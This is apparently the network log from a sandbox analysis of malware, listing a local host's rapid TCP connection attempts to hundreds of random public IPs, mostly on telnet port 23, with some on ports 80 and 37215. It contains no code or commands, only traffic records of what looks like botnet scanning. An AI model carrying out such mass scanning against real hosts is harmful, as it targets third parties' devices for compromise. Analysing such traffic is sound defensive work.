Jan 5, 2025 14:27:00.735166073 CET	57214	23	192.168.2.13	153.234.87.178
Jan 5, 2025 14:27:00.735166073 CET	57214	23	192.168.2.13	110.81.32.62
Jan 5, 2025 14:27:00.735176086 CET	57214	23	192.168.2.13	208.141.138.148
Jan 5, 2025 14:27:00.735176086 CET	57214	23	192.168.2.13	188.235.254.181
Jan 5, 2025 14:27:00.735177040 CET	57214	23	192.168.2.13	82.73.180.189
Jan 5, 2025 14:27:00.735176086 CET	57214	23	192.168.2.13	74.125.138.20
Jan 5, 2025 14:27:00.735177040 CET	57214	23	192.168.2.13	193.85.46.206
Jan 5, 2025 14:27:00.735176086 CET	57214	23	192.168.2.13	174.192.198.40
Jan 5, 2025 14:27:00.735176086 CET	57214	23	192.168.2.13	5.6.48.97
Jan 5, 2025 14:27:00.735186100 CET	57214	23	192.168.2.13	84.174.55.41
Jan 5, 2025 14:27:00.735187054 CET	57214	23	192.168.2.13	140.65.10.99
Jan 5, 2025 14:27:00.735193014 CET	57214	23	192.168.2.13	195.189.158.38
Jan 5, 2025 14:27:00.735194921 CET	57214	23	192.168.2.13	180.56.165.202
Jan 5, 2025 14:27:00.735196114 CET	57214	23	192.168.2.13	14.182.32.84
Jan 5, 2025 14:27:00.735196114 CET	57214	23	192.168.2.13	184.79.64.31
Jan 5, 2025 14:27:00.735197067 CET	57214	23	192.168.2.13	77.108.65.57
Jan 5, 2025 14:27:00.735197067 CET	57214	23	192.168.2.13	103.157.119.187
Jan 5, 2025 14:27:00.735199928 CET	57214	23	192.168.2.13	89.249.230.0
Jan 5, 2025 14:27:00.735197067 CET	57214	23	192.168.2.13	51.73.186.90
Jan 5, 2025 14:27:00.735197067 CET	57214	23	192.168.2.13	205.83.250.235
Jan 5, 2025 14:27:00.735198021 CET	57214	23	192.168.2.13	161.234.190.233
Jan 5, 2025 14:27:00.735208035 CET	57214	23	192.168.2.13	65.155.24.86
Jan 5, 2025 14:27:00.735210896 CET	57214	23	192.168.2.13	68.57.33.1
Jan 5, 2025 14:27:00.735210896 CET	57214	23	192.168.2.13	160.92.34.92
Jan 5, 2025 14:27:00.735210896 CET	57214	23	192.168.2.13	64.246.5.94
Jan 5, 2025 14:27:00.735210896 CET	57214	23	192.168.2.13	222.89.8.21
Jan 5, 2025 14:27:00.735215902 CET	57214	23	192.168.2.13	145.50.72.248
Jan 5, 2025 14:27:00.735219002 CET	57214	23	192.168.2.13	51.109.245.71
Jan 5, 2025 14:27:00.735223055 CET	57214	23	192.168.2.13	202.249.84.161
Jan 5, 2025 14:27:00.735223055 CET	57214	23	192.168.2.13	50.109.143.255
Jan 5, 2025 14:27:00.735223055 CET	57214	23	192.168.2.13	154.143.127.87
Jan 5, 2025 14:27:00.735227108 CET	57214	23	192.168.2.13	183.180.233.220
Jan 5, 2025 14:27:00.735230923 CET	57214	23	192.168.2.13	47.12.84.230
Jan 5, 2025 14:27:00.735230923 CET	57214	23	192.168.2.13	136.74.105.148
Jan 5, 2025 14:27:00.735234022 CET	57214	23	192.168.2.13	107.61.146.112
Jan 5, 2025 14:27:00.735234022 CET	57214	23	192.168.2.13	93.118.18.143
Jan 5, 2025 14:27:00.735234022 CET	57214	23	192.168.2.13	123.128.162.151
Jan 5, 2025 14:27:00.735234976 CET	57214	23	192.168.2.13	24.244.61.175
Jan 5, 2025 14:27:00.735236883 CET	57214	23	192.168.2.13	137.71.239.209
Jan 5, 2025 14:27:00.735239029 CET	57214	23	192.168.2.13	181.246.234.125
Jan 5, 2025 14:27:00.735241890 CET	57214	23	192.168.2.13	108.163.197.96
Jan 5, 2025 14:27:00.735245943 CET	57214	23	192.168.2.13	192.114.73.90
Jan 5, 2025 14:27:00.735245943 CET	57214	23	192.168.2.13	64.97.156.101
Jan 5, 2025 14:27:00.735246897 CET	57214	23	192.168.2.13	66.48.183.50
Jan 5, 2025 14:27:00.735255957 CET	57214	23	192.168.2.13	134.181.76.251
Jan 5, 2025 14:27:00.735256910 CET	57214	23	192.168.2.13	62.70.132.250
Jan 5, 2025 14:27:00.735256910 CET	57214	23	192.168.2.13	202.113.180.39
Jan 5, 2025 14:27:00.735255957 CET	57214	23	192.168.2.13	13.254.210.173
Jan 5, 2025 14:27:00.735255957 CET	57214	23	192.168.2.13	84.112.166.67
Jan 5, 2025 14:27:00.735255957 CET	57214	23	192.168.2.13	72.224.100.62
Jan 5, 2025 14:27:00.735261917 CET	57214	23	192.168.2.13	43.180.45.71
Jan 5, 2025 14:27:00.735263109 CET	57214	23	192.168.2.13	13.193.243.216
Jan 5, 2025 14:27:00.735265970 CET	57214	23	192.168.2.13	18.85.115.156
Jan 5, 2025 14:27:00.735271931 CET	57214	23	192.168.2.13	50.82.131.15
Jan 5, 2025 14:27:00.735271931 CET	57214	23	192.168.2.13	41.193.166.29
Jan 5, 2025 14:27:00.735271931 CET	57214	23	192.168.2.13	79.200.209.179
Jan 5, 2025 14:27:00.735275984 CET	57214	23	192.168.2.13	199.217.237.232
Jan 5, 2025 14:27:00.735275984 CET	57214	23	192.168.2.13	89.254.9.93
Jan 5, 2025 14:27:00.735275984 CET	57214	23	192.168.2.13	201.31.0.228
Jan 5, 2025 14:27:00.735279083 CET	57214	23	192.168.2.13	210.72.41.244
Jan 5, 2025 14:27:00.735279083 CET	57214	23	192.168.2.13	140.66.102.209
Jan 5, 2025 14:27:00.735280037 CET	57214	23	192.168.2.13	74.14.56.184
Jan 5, 2025 14:27:00.735279083 CET	57214	23	192.168.2.13	179.209.38.141
Jan 5, 2025 14:27:00.735280037 CET	57214	23	192.168.2.13	60.196.38.190
Jan 5, 2025 14:27:00.735279083 CET	57214	23	192.168.2.13	67.19.169.86
Jan 5, 2025 14:27:00.735280037 CET	57214	23	192.168.2.13	198.98.148.103
Jan 5, 2025 14:27:00.735291004 CET	57214	23	192.168.2.13	164.111.72.47
Jan 5, 2025 14:27:00.735292912 CET	57214	23	192.168.2.13	67.27.66.91
Jan 5, 2025 14:27:00.735292912 CET	57214	23	192.168.2.13	5.174.0.248
Jan 5, 2025 14:27:00.735292912 CET	57214	23	192.168.2.13	175.194.100.29
Jan 5, 2025 14:27:00.735296965 CET	57214	23	192.168.2.13	8.217.67.3
Jan 5, 2025 14:27:00.735297918 CET	57214	23	192.168.2.13	155.54.22.221
Jan 5, 2025 14:27:00.735297918 CET	57214	23	192.168.2.13	201.206.78.54
Jan 5, 2025 14:27:00.735297918 CET	57214	23	192.168.2.13	82.33.27.164
Jan 5, 2025 14:27:00.735306978 CET	57214	23	192.168.2.13	144.186.82.182
Jan 5, 2025 14:27:00.735308886 CET	57214	23	192.168.2.13	201.194.241.198
Jan 5, 2025 14:27:00.735308886 CET	57214	23	192.168.2.13	74.193.43.52
Jan 5, 2025 14:27:00.735308886 CET	57214	23	192.168.2.13	123.118.31.116
Jan 5, 2025 14:27:00.735316992 CET	57214	23	192.168.2.13	44.132.218.205
Jan 5, 2025 14:27:00.735328913 CET	57214	23	192.168.2.13	93.35.13.168
Jan 5, 2025 14:27:00.735331059 CET	57214	23	192.168.2.13	134.186.118.94
Jan 5, 2025 14:27:00.735331059 CET	57214	23	192.168.2.13	201.235.168.9
Jan 5, 2025 14:27:00.735332012 CET	57214	23	192.168.2.13	64.203.229.44
Jan 5, 2025 14:27:00.735332012 CET	57214	23	192.168.2.13	219.175.185.114
Jan 5, 2025 14:27:00.735336065 CET	57214	23	192.168.2.13	111.220.233.159
Jan 5, 2025 14:27:00.735336065 CET	57214	23	192.168.2.13	47.116.16.163
Jan 5, 2025 14:27:00.735336065 CET	57214	23	192.168.2.13	172.120.60.79
Jan 5, 2025 14:27:00.735342979 CET	57214	23	192.168.2.13	196.30.82.52
Jan 5, 2025 14:27:00.735346079 CET	57214	23	192.168.2.13	109.78.27.45
Jan 5, 2025 14:27:00.735346079 CET	57214	23	192.168.2.13	197.53.22.180
Jan 5, 2025 14:27:00.735346079 CET	57214	23	192.168.2.13	61.239.81.136
Jan 5, 2025 14:27:00.735346079 CET	57214	23	192.168.2.13	142.58.45.137
Jan 5, 2025 14:27:00.735346079 CET	57214	23	192.168.2.13	151.172.27.197
Jan 5, 2025 14:27:00.735346079 CET	57214	23	192.168.2.13	103.196.31.76
Jan 5, 2025 14:27:00.735353947 CET	57214	23	192.168.2.13	180.200.25.132
Jan 5, 2025 14:27:00.735359907 CET	57214	23	192.168.2.13	97.41.155.164
Jan 5, 2025 14:27:00.735369921 CET	57214	23	192.168.2.13	44.100.2.146
Jan 5, 2025 14:27:00.735371113 CET	57214	23	192.168.2.13	165.3.96.67
Jan 5, 2025 14:27:00.735371113 CET	57214	23	192.168.2.13	194.197.182.196
Jan 5, 2025 14:27:00.735372066 CET	57214	23	192.168.2.13	213.187.20.75
Jan 5, 2025 14:27:00.735372066 CET	57214	23	192.168.2.13	120.166.135.191
Jan 5, 2025 14:27:00.735373974 CET	57214	23	192.168.2.13	174.85.119.84
Jan 5, 2025 14:27:00.735378027 CET	57214	23	192.168.2.13	154.211.115.151
Jan 5, 2025 14:27:00.735378981 CET	57214	23	192.168.2.13	213.149.136.20
Jan 5, 2025 14:27:00.735378981 CET	57214	23	192.168.2.13	17.243.170.180
Jan 5, 2025 14:27:00.735378981 CET	57214	23	192.168.2.13	201.88.212.249
Jan 5, 2025 14:27:00.735383034 CET	57214	23	192.168.2.13	92.97.199.19
Jan 5, 2025 14:27:00.735384941 CET	57214	23	192.168.2.13	119.211.115.212
Jan 5, 2025 14:27:00.735385895 CET	57214	23	192.168.2.13	38.181.64.39
Jan 5, 2025 14:27:00.739480972 CET	23	57214	89.193.86.175	192.168.2.13
Jan 5, 2025 14:27:00.739532948 CET	57214	23	192.168.2.13	89.193.86.175
Jan 5, 2025 14:27:00.740219116 CET	23	57214	44.132.218.205	192.168.2.13
Jan 5, 2025 14:27:00.740262985 CET	57214	23	192.168.2.13	44.132.218.205
Jan 5, 2025 14:27:00.751646042 CET	53060	23	192.168.2.13	194.18.196.49
Jan 5, 2025 14:27:00.755637884 CET	38560	80	192.168.2.13	172.178.47.118
Jan 5, 2025 14:27:00.755662918 CET	52014	37215	192.168.2.13	197.68.255.63
Jan 5, 2025 14:27:00.756525993 CET	23	53060	194.18.196.49	192.168.2.13
Jan 5, 2025 14:27:00.756624937 CET	53060	23	192.168.2.13	194.18.196.49
Jan 5, 2025 14:27:00.756624937 CET	57298	23	192.168.2.13	119.66.97.128
Jan 5, 2025 14:27:00.760471106 CET	80	38560	172.178.47.118	192.168.2.13
Jan 5, 2025 14:27:00.760534048 CET	38560	80	192.168.2.13	172.178.47.118
Jan 5, 2025 14:27:00.760654926 CET	38560	80	192.168.2.13	172.178.47.118
Jan 5, 2025 14:27:00.760654926 CET	38560	80	192.168.2.13	172.178.47.118
Jan 5, 2025 14:27:00.760704994 CET	38654	80	192.168.2.13	172.178.47.118
Jan 5, 2025 14:27:00.765516996 CET	80	38560	172.178.47.118	192.168.2.13
Jan 5, 2025 14:27:00.772870064 CET	80	56132	152.183.183.228	192.168.2.13
Jan 5, 2025 14:27:00.772901058 CET	80	52402	54.76.185.62	192.168.2.13
Jan 5, 2025 14:27:00.808794975 CET	80	38560	172.178.47.118	192.168.2.13
Jan 5, 2025 14:27:01.007642984 CET	50664	23	192.168.2.13	86.25.248.240
Jan 5, 2025 14:27:01.007646084 CET	54072	23	192.168.2.13	216.101.17.105
Jan 5, 2025 14:27:01.007646084 CET	54972	23	192.168.2.13	98.13.187.165
Jan 5, 2025 14:27:01.007649899 CET	53588	23	192.168.2.13	106.24.62.139
Jan 5, 2025 14:27:01.007653952 CET	55744	23	192.168.2.13	142.236.149.10
Jan 5, 2025 14:27:01.007653952 CET	48544	23	192.168.2.13	24.180.180.61
Jan 5, 2025 14:27:01.007658005 CET	56774	23	192.168.2.13	87.23.10.235
Jan 5, 2025 14:27:01.007658005 CET	37106	23	192.168.2.13	199.93.214.171
Jan 5, 2025 14:27:01.007658005 CET	52748	23	192.168.2.13	83.240.185.122
Jan 5, 2025 14:27:01.007671118 CET	48088	23	192.168.2.13	186.86.12.61
Jan 5, 2025 14:27:01.007671118 CET	45478	23	192.168.2.13	54.132.122.147
Jan 5, 2025 14:27:01.007674932 CET	42994	23	192.168.2.13	128.228.153.46
Jan 5, 2025 14:27:01.007674932 CET	58746	23	192.168.2.13	143.193.128.139
Jan 5, 2025 14:27:01.007674932 CET	49092	23	192.168.2.13	176.114.68.175
Jan 5, 2025 14:27:01.007677078 CET	36432	23	192.168.2.13	72.244.254.197
Jan 5, 2025 14:27:01.007683992 CET	56224	23	192.168.2.13	207.170.8.2
Jan 5, 2025 14:27:01.007683992 CET	39840	23	192.168.2.13	59.107.248.128
Jan 5, 2025 14:27:01.007683992 CET	57640	23	192.168.2.13	66.109.58.215
Jan 5, 2025 14:27:01.007684946 CET	50218	23	192.168.2.13	83.40.108.134
Jan 5, 2025 14:27:01.007683992 CET	33324	23	192.168.2.13	63.15.109.218
Jan 5, 2025 14:27:01.007684946 CET	36990	23	192.168.2.13	75.111.84.151
Jan 5, 2025 14:27:01.007684946 CET	37090	23	192.168.2.13	133.170.110.145
Jan 5, 2025 14:27:01.007685900 CET	46030	23	192.168.2.13	183.89.177.133
Jan 5, 2025 14:27:01.007684946 CET	39630	23	192.168.2.13	169.88.4.244
Jan 5, 2025 14:27:01.007693052 CET	53276	23	192.168.2.13	58.216.201.185
Jan 5, 2025 14:27:01.007693052 CET	50554	23	192.168.2.13	196.169.241.237
Jan 5, 2025 14:27:01.007693052 CET	52736	23	192.168.2.13	83.95.102.155
Jan 5, 2025 14:27:01.007693052 CET	43532	23	192.168.2.13	117.113.74.193
Jan 5, 2025 14:27:01.007693052 CET	52422	23	192.168.2.13	70.131.139.232
Jan 5, 2025 14:27:01.007708073 CET	49146	23	192.168.2.13	70.88.19.6
Jan 5, 2025 14:27:01.007711887 CET	59626	23	192.168.2.13	99.216.198.68
Jan 5, 2025 14:27:01.007713079 CET	52776	23	192.168.2.13	17.216.218.248
Jan 5, 2025 14:27:01.007713079 CET	49386	23	192.168.2.13	162.205.144.251
Jan 5, 2025 14:27:01.007711887 CET	53176	23	192.168.2.13	50.2.215.53
Jan 5, 2025 14:27:01.007713079 CET	44974	23	192.168.2.13	164.149.205.201
Jan 5, 2025 14:27:01.007721901 CET	42760	23	192.168.2.13	20.98.151.67
Jan 5, 2025 14:27:01.007724047 CET	51970	23	192.168.2.13	131.189.49.218
Jan 5, 2025 14:27:01.007724047 CET	43952	23	192.168.2.13	108.72.96.45
Jan 5, 2025 14:27:01.007725000 CET	39310	23	192.168.2.13	23.52.138.9
Jan 5, 2025 14:27:01.007725000 CET	54480	23	192.168.2.13	18.37.85.110
Jan 5, 2025 14:27:01.007730007 CET	51320	23	192.168.2.13	185.98.72.3
Jan 5, 2025 14:27:01.007730007 CET	42756	23	192.168.2.13	137.157.216.54
Jan 5, 2025 14:27:01.007736921 CET	35912	23	192.168.2.13	92.230.193.213
Jan 5, 2025 14:27:01.007740974 CET	58228	23	192.168.2.13	76.14.98.140
Jan 5, 2025 14:27:01.007740974 CET	33002	23	192.168.2.13	181.212.92.185
Jan 5, 2025 14:27:01.007745981 CET	43392	23	192.168.2.13	98.57.252.153
Jan 5, 2025 14:27:01.007755041 CET	50724	23	192.168.2.13	167.25.210.157
Jan 5, 2025 14:27:01.007755041 CET	43278	23	192.168.2.13	34.199.90.15
Jan 5, 2025 14:27:01.007759094 CET	47224	23	192.168.2.13	4.191.65.224
Jan 5, 2025 14:27:01.007762909 CET	35744	23	192.168.2.13	200.4.244.106
Jan 5, 2025 14:27:01.007762909 CET	38462	23	192.168.2.13	181.65.214.243
Jan 5, 2025 14:27:01.007766008 CET	59158	23	192.168.2.13	2.74.42.245
Jan 5, 2025 14:27:01.007775068 CET	33572	23	192.168.2.13	48.175.130.117
Jan 5, 2025 14:27:01.007775068 CET	34812	23	192.168.2.13	75.61.41.180
Jan 5, 2025 14:27:01.007778883 CET	34942	23	192.168.2.13	108.238.85.210
Jan 5, 2025 14:27:01.007778883 CET	50326	23	192.168.2.13	36.224.198.39
Jan 5, 2025 14:27:01.007780075 CET	36676	23	192.168.2.13	94.244.106.186
Jan 5, 2025 14:27:01.007780075 CET	43808	23	192.168.2.13	125.192.159.100
Jan 5, 2025 14:27:01.007780075 CET	60478	23	192.168.2.13	49.214.132.79
Jan 5, 2025 14:27:01.007783890 CET	60654	23	192.168.2.13	145.74.23.172
Jan 5, 2025 14:27:01.007783890 CET	45128	23	192.168.2.13	18.128.139.145
Jan 5, 2025 14:27:01.007783890 CET	33718	23	192.168.2.13	34.216.167.148
Jan 5, 2025 14:27:01.007791996 CET	53712	23	192.168.2.13	201.168.213.137
Jan 5, 2025 14:27:01.007805109 CET	32940	23	192.168.2.13	1.225.8.53
Jan 5, 2025 14:27:01.007805109 CET	43050	23	192.168.2.13	200.122.222.239
Jan 5, 2025 14:27:01.007806063 CET	53726	23	192.168.2.13	37.22.195.43
Jan 5, 2025 14:27:01.007806063 CET	55976	23	192.168.2.13	128.31.231.107
Jan 5, 2025 14:27:01.007807016 CET	44546	23	192.168.2.13	175.94.123.227
Jan 5, 2025 14:27:01.007807016 CET	41250	23	192.168.2.13	42.162.192.217
Jan 5, 2025 14:27:01.007806063 CET	32868	23	192.168.2.13	69.131.146.239
Jan 5, 2025 14:27:01.007807016 CET	50214	23	192.168.2.13	12.200.212.129
Jan 5, 2025 14:27:01.007807016 CET	51218	23	192.168.2.13	52.60.118.170
Jan 5, 2025 14:27:01.007811069 CET	42692	23	192.168.2.13	213.14.202.9
Jan 5, 2025 14:27:01.007813931 CET	50322	23	192.168.2.13	46.44.146.32
Jan 5, 2025 14:27:01.007813931 CET	54702	23	192.168.2.13	86.225.200.252
Jan 5, 2025 14:27:01.007813931 CET	55368	23	192.168.2.13	4.156.193.148
Jan 5, 2025 14:27:01.007827044 CET	48394	23	192.168.2.13	148.222.15.193
Jan 5, 2025 14:27:01.012540102 CET	23	50664	86.25.248.240	192.168.2.13
Jan 5, 2025 14:27:01.012599945 CET	50664	23	192.168.2.13	86.25.248.240
Jan 5, 2025 14:27:01.012608051 CET	23	53588	106.24.62.139	192.168.2.13
Jan 5, 2025 14:27:01.012636900 CET	23	54072	216.101.17.105	192.168.2.13
Jan 5, 2025 14:27:01.012655973 CET	57214	23	192.168.2.13	207.129.115.243
Jan 5, 2025 14:27:01.012662888 CET	57214	23	192.168.2.13	164.121.216.188
Jan 5, 2025 14:27:01.012662888 CET	57214	23	192.168.2.13	132.186.226.159
Jan 5, 2025 14:27:01.012664080 CET	57214	23	192.168.2.13	32.168.48.233
Jan 5, 2025 14:27:01.012666941 CET	23	55744	142.236.149.10	192.168.2.13
Jan 5, 2025 14:27:01.012667894 CET	57214	23	192.168.2.13	77.86.160.251
Jan 5, 2025 14:27:01.012667894 CET	57214	23	192.168.2.13	44.106.72.178
Jan 5, 2025 14:27:01.012667894 CET	57214	23	192.168.2.13	79.43.125.196
Jan 5, 2025 14:27:01.012667894 CET	57214	23	192.168.2.13	78.75.168.29
Jan 5, 2025 14:27:01.012667894 CET	57214	23	192.168.2.13	149.48.37.18
Jan 5, 2025 14:27:01.012667894 CET	57214	23	192.168.2.13	143.110.198.192
Jan 5, 2025 14:27:01.012672901 CET	57214	23	192.168.2.13	50.161.165.117
Jan 5, 2025 14:27:01.012672901 CET	57214	23	192.168.2.13	39.142.210.226
Jan 5, 2025 14:27:01.012672901 CET	57214	23	192.168.2.13	203.14.112.3
Jan 5, 2025 14:27:01.012698889 CET	53588	23	192.168.2.13	106.24.62.139
Jan 5, 2025 14:27:01.012698889 CET	57214	23	192.168.2.13	171.149.156.62
Jan 5, 2025 14:27:01.012701988 CET	57214	23	192.168.2.13	93.56.243.183
Jan 5, 2025 14:27:01.012701988 CET	54072	23	192.168.2.13	216.101.17.105
Jan 5, 2025 14:27:01.012702942 CET	57214	23	192.168.2.13	34.227.254.151
Jan 5, 2025 14:27:01.012703896 CET	57214	23	192.168.2.13	61.224.152.73
Jan 5, 2025 14:27:01.012706041 CET	55744	23	192.168.2.13	142.236.149.10
Jan 5, 2025 14:27:01.012706041 CET	57214	23	192.168.2.13	91.87.231.239
Jan 5, 2025 14:27:01.012715101 CET	57214	23	192.168.2.13	185.145.13.133
Jan 5, 2025 14:27:01.012717009 CET	23	56774	87.23.10.235	192.168.2.13
Jan 5, 2025 14:27:01.012717962 CET	57214	23	192.168.2.13	50.149.2.67
Jan 5, 2025 14:27:01.012721062 CET	57214	23	192.168.2.13	198.195.251.221
Jan 5, 2025 14:27:01.012722969 CET	57214	23	192.168.2.13	70.235.90.147
Jan 5, 2025 14:27:01.012726068 CET	57214	23	192.168.2.13	44.82.135.0
Jan 5, 2025 14:27:01.012726068 CET	57214	23	192.168.2.13	106.239.50.62
Jan 5, 2025 14:27:01.012726068 CET	57214	23	192.168.2.13	34.204.123.61
Jan 5, 2025 14:27:01.012734890 CET	57214	23	192.168.2.13	217.169.67.97
Jan 5, 2025 14:27:01.012737036 CET	57214	23	192.168.2.13	100.29.250.23
Jan 5, 2025 14:27:01.012737989 CET	57214	23	192.168.2.13	200.44.108.206
Jan 5, 2025 14:27:01.012737989 CET	57214	23	192.168.2.13	9.59.107.20
Jan 5, 2025 14:27:01.012742996 CET	57214	23	192.168.2.13	60.86.125.69
Jan 5, 2025 14:27:01.012743950 CET	57214	23	192.168.2.13	82.128.135.75
Jan 5, 2025 14:27:01.012743950 CET	57214	23	192.168.2.13	74.36.233.227
Jan 5, 2025 14:27:01.012746096 CET	57214	23	192.168.2.13	196.241.191.29
Jan 5, 2025 14:27:01.012746096 CET	57214	23	192.168.2.13	180.252.149.160
Jan 5, 2025 14:27:01.012747049 CET	23	54972	98.13.187.165	192.168.2.13
Jan 5, 2025 14:27:01.012753963 CET	57214	23	192.168.2.13	23.162.17.69
Jan 5, 2025 14:27:01.012757063 CET	57214	23	192.168.2.13	98.100.134.96
Jan 5, 2025 14:27:01.012759924 CET	56774	23	192.168.2.13	87.23.10.235
Jan 5, 2025 14:27:01.012768030 CET	57214	23	192.168.2.13	140.87.51.44
Jan 5, 2025 14:27:01.012774944 CET	57214	23	192.168.2.13	145.77.75.79
Jan 5, 2025 14:27:01.012774944 CET	57214	23	192.168.2.13	107.58.144.60
Jan 5, 2025 14:27:01.012777090 CET	57214	23	192.168.2.13	144.212.9.27
Jan 5, 2025 14:27:01.012777090 CET	57214	23	192.168.2.13	193.241.180.201
Jan 5, 2025 14:27:01.012777090 CET	57214	23	192.168.2.13	206.96.11.190
Jan 5, 2025 14:27:01.012777090 CET	57214	23	192.168.2.13	71.84.200.143
Jan 5, 2025 14:27:01.012789011 CET	57214	23	192.168.2.13	185.105.152.167
Jan 5, 2025 14:27:01.012790918 CET	57214	23	192.168.2.13	174.227.197.244
Jan 5, 2025 14:27:01.012790918 CET	57214	23	192.168.2.13	154.79.80.82
Jan 5, 2025 14:27:01.012790918 CET	57214	23	192.168.2.13	135.24.194.98
Jan 5, 2025 14:27:01.012799025 CET	57214	23	192.168.2.13	152.0.242.102
Jan 5, 2025 14:27:01.012799978 CET	57214	23	192.168.2.13	4.184.35.149
Jan 5, 2025 14:27:01.012799978 CET	57214	23	192.168.2.13	121.186.246.79
Jan 5, 2025 14:27:01.012801886 CET	57214	23	192.168.2.13	118.150.91.196
Jan 5, 2025 14:27:01.012801886 CET	57214	23	192.168.2.13	167.120.219.122
Jan 5, 2025 14:27:01.012799025 CET	57214	23	192.168.2.13	108.20.125.19
Jan 5, 2025 14:27:01.012801886 CET	54972	23	192.168.2.13	98.13.187.165
Jan 5, 2025 14:27:01.012800932 CET	57214	23	192.168.2.13	173.139.122.42
Jan 5, 2025 14:27:01.012801886 CET	57214	23	192.168.2.13	39.73.123.247
Jan 5, 2025 14:27:01.012800932 CET	57214	23	192.168.2.13	188.245.85.156
Jan 5, 2025 14:27:01.012800932 CET	57214	23	192.168.2.13	39.249.182.186
Jan 5, 2025 14:27:01.012800932 CET	57214	23	192.168.2.13	182.75.216.20
Jan 5, 2025 14:27:01.012811899 CET	57214	23	192.168.2.13	80.41.160.203
Jan 5, 2025 14:27:01.012815952 CET	57214	23	192.168.2.13	31.7.125.247
Jan 5, 2025 14:27:01.012815952 CET	57214	23	192.168.2.13	133.98.159.217
Jan 5, 2025 14:27:01.012820959 CET	57214	23	192.168.2.13	140.34.69.120
Jan 5, 2025 14:27:01.012820959 CET	57214	23	192.168.2.13	178.32.144.155
Jan 5, 2025 14:27:01.012821913 CET	57214	23	192.168.2.13	176.132.88.92
Jan 5, 2025 14:27:01.012820959 CET	57214	23	192.168.2.13	66.67.113.230
Jan 5, 2025 14:27:01.012821913 CET	57214	23	192.168.2.13	152.182.126.159
Jan 5, 2025 14:27:01.012821913 CET	57214	23	192.168.2.13	111.158.117.48
Jan 5, 2025 14:27:01.012825012 CET	57214	23	192.168.2.13	222.253.225.169
Jan 5, 2025 14:27:01.012821913 CET	57214	23	192.168.2.13	198.66.127.238
Jan 5, 2025 14:27:01.012821913 CET	57214	23	192.168.2.13	114.139.0.27
Jan 5, 2025 14:27:01.012825012 CET	57214	23	192.168.2.13	37.206.102.82
Jan 5, 2025 14:27:01.012821913 CET	57214	23	192.168.2.13	165.4.156.61
Jan 5, 2025 14:27:01.012834072 CET	57214	23	192.168.2.13	132.173.21.196
Jan 5, 2025 14:27:01.012840986 CET	57214	23	192.168.2.13	174.69.90.232
Jan 5, 2025 14:27:01.012840033 CET	57214	23	192.168.2.13	4.48.109.61
Jan 5, 2025 14:27:01.012837887 CET	57214	23	192.168.2.13	99.175.133.211
Jan 5, 2025 14:27:01.012837887 CET	57214	23	192.168.2.13	166.19.13.82
Jan 5, 2025 14:27:01.012839079 CET	57214	23	192.168.2.13	82.192.120.174
Jan 5, 2025 14:27:01.012844086 CET	57214	23	192.168.2.13	83.2.159.68
Jan 5, 2025 14:27:01.012839079 CET	57214	23	192.168.2.13	46.172.36.171
Jan 5, 2025 14:27:01.012844086 CET	57214	23	192.168.2.13	151.154.95.250
Jan 5, 2025 14:27:01.012839079 CET	57214	23	192.168.2.13	183.19.179.233
Jan 5, 2025 14:27:01.012856960 CET	57214	23	192.168.2.13	51.91.194.142
Jan 5, 2025 14:27:01.012864113 CET	57214	23	192.168.2.13	186.12.192.214
Jan 5, 2025 14:27:01.012864113 CET	57214	23	192.168.2.13	90.23.70.88
Jan 5, 2025 14:27:01.012866020 CET	57214	23	192.168.2.13	87.173.191.33
Jan 5, 2025 14:27:01.012866020 CET	57214	23	192.168.2.13	207.157.30.26
Jan 5, 2025 14:27:01.012870073 CET	57214	23	192.168.2.13	107.200.250.183
Jan 5, 2025 14:27:01.012866020 CET	57214	23	192.168.2.13	191.129.250.3
Jan 5, 2025 14:27:01.012866020 CET	57214	23	192.168.2.13	116.159.202.199
Jan 5, 2025 14:27:01.012872934 CET	57214	23	192.168.2.13	146.31.16.236
Jan 5, 2025 14:27:01.012876034 CET	57214	23	192.168.2.13	20.147.165.252
Jan 5, 2025 14:27:01.012876034 CET	57214	23	192.168.2.13	108.135.48.159
Jan 5, 2025 14:27:01.012876987 CET	57214	23	192.168.2.13	210.174.240.167
Jan 5, 2025 14:27:01.012876987 CET	57214	23	192.168.2.13	13.175.149.216
Jan 5, 2025 14:27:01.012876987 CET	57214	23	192.168.2.13	216.129.128.17
Jan 5, 2025 14:27:01.012876987 CET	57214	23	192.168.2.13	136.198.31.15
Jan 5, 2025 14:27:01.012876987 CET	57214	23	192.168.2.13	141.223.170.90
Jan 5, 2025 14:27:01.012877941 CET	57214	23	192.168.2.13	184.223.206.168
Jan 5, 2025 14:27:01.012880087 CET	57214	23	192.168.2.13	83.162.116.200
Jan 5, 2025 14:27:01.012880087 CET	57214	23	192.168.2.13	24.1.158.198
Jan 5, 2025 14:27:01.012880087 CET	57214	23	192.168.2.13	145.42.209.116
Jan 5, 2025 14:27:01.012888908 CET	57214	23	192.168.2.13	122.230.131.196
Jan 5, 2025 14:27:01.012888908 CET	57214	23	192.168.2.13	162.108.183.174
Jan 5, 2025 14:27:01.012891054 CET	57214	23	192.168.2.13	153.82.189.242
Jan 5, 2025 14:27:01.012891054 CET	57214	23	192.168.2.13	209.120.220.225
Jan 5, 2025 14:27:01.012892008 CET	57214	23	192.168.2.13	162.116.142.76
Jan 5, 2025 14:27:01.012897968 CET	57214	23	192.168.2.13	141.44.88.114
Jan 5, 2025 14:27:01.012897968 CET	57214	23	192.168.2.13	199.29.64.206
Jan 5, 2025 14:27:01.012900114 CET	57214	23	192.168.2.13	46.198.230.223
Jan 5, 2025 14:27:01.012900114 CET	57214	23	192.168.2.13	121.82.91.10
Jan 5, 2025 14:27:01.012906075 CET	57214	23	192.168.2.13	218.50.188.92
Jan 5, 2025 14:27:01.012907028 CET	57214	23	192.168.2.13	31.60.64.41
Jan 5, 2025 14:27:01.012907028 CET	57214	23	192.168.2.13	13.108.247.242
Jan 5, 2025 14:27:01.012907028 CET	57214	23	192.168.2.13	157.255.203.234
Jan 5, 2025 14:27:01.012911081 CET	57214	23	192.168.2.13	50.24.245.83
Jan 5, 2025 14:27:01.012911081 CET	57214	23	192.168.2.13	185.61.37.55
Jan 5, 2025 14:27:01.012911081 CET	57214	23	192.168.2.13	151.219.153.98
Jan 5, 2025 14:27:01.012911081 CET	57214	23	192.168.2.13	207.179.105.109
Jan 5, 2025 14:27:01.012917995 CET	57214	23	192.168.2.13	193.239.19.224
Jan 5, 2025 14:27:01.012921095 CET	57214	23	192.168.2.13	199.245.127.216
Jan 5, 2025 14:27:01.012921095 CET	57214	23	192.168.2.13	131.160.94.217
Jan 5, 2025 14:27:01.012921095 CET	57214	23	192.168.2.13	86.1.196.34
